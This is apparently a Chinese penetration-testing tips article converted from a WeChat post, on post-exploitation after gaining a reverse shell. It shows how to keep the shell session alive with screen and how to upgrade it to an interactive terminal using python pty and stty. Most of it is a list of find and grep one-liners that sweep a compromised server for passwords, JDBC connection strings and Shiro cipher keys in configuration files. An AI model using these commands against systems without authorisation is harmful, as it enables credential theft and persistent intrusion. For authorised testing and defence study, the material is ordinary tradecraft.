本文由简悦 SimpRead 转码，原文地址 mp.weixin.qq.com

本文由团队大佬Cedr0ic总结编写

01

姿势⼀-反弹shell后如何保持会话不断

⼀般弹回来⼀个shell后我们⾸先要确保shell不能掉，这⾥可以借⽤screen来保存会话

screen

screen -ls

Screen -r 会话id

02

姿势⼆-如何将反弹shell⽣成交互式的shell

⼀般反弹回来的shell有很多缺陷

1.⼀些命令，⽐如“su”和“ssh”需要适当的终端才能运⾏

2.标准错误信息（STDERR）经常不会被显示出来

3.不能正确使⽤⽂本编辑器如VIM

4.没有命令补全功能

5.“上”按键没有历史纪录功能

6.没有任务管理功能

Ctrl-C 会断

因此这⾥需要⽣成⼀个交互式shell以下⼏⾏命令可以完成操作。

`python -c 'import pty; pty.spawn("/bin/bash")' //⽣成py半交互式shell ctrl+Z``stty raw -echo fg``reset``export SHELL=bash``export TERM=xterm256-color stty rows 38 columns 116`

新的交互式shell

03

姿势三-如何快速信息收集获取服务器⼝令

⼀、⼝令获取

获得目标主机的权限后，通过查看网站的配置文件，获得口令信息

常⽤密码⽂件收集整理

`find / -name *.properties 2>/dev/null | grep WEB-INF``find / -name "*.properties" | xargs egrep -i "user|pass|pwd|uname|login|db_" find / -regex ".*\.properties\|.*\.conf\|.*\.config" | xargs grep -E "=jdbc:|pass="``find /webapp -regex ".*\.properties" -print 2>/dev/null | xargs grep -E "=jdbc:|rsync"``find / -regex ".*\.properties" -print  2>/dev/null``find / -regex ".*\.properties\|.*\.conf\|.*\.config\|.*\.sh" | xargs grep -E "=jdbc:|pass=|passwd="``grep -r 'setCipherKey(Base64.decode(' /web路径``find / -regex ".*\.xml\|.*\.properties\|.*\.conf\|.*\.config\|.*\.jsp" | xargs grep -E "setCipherKey"`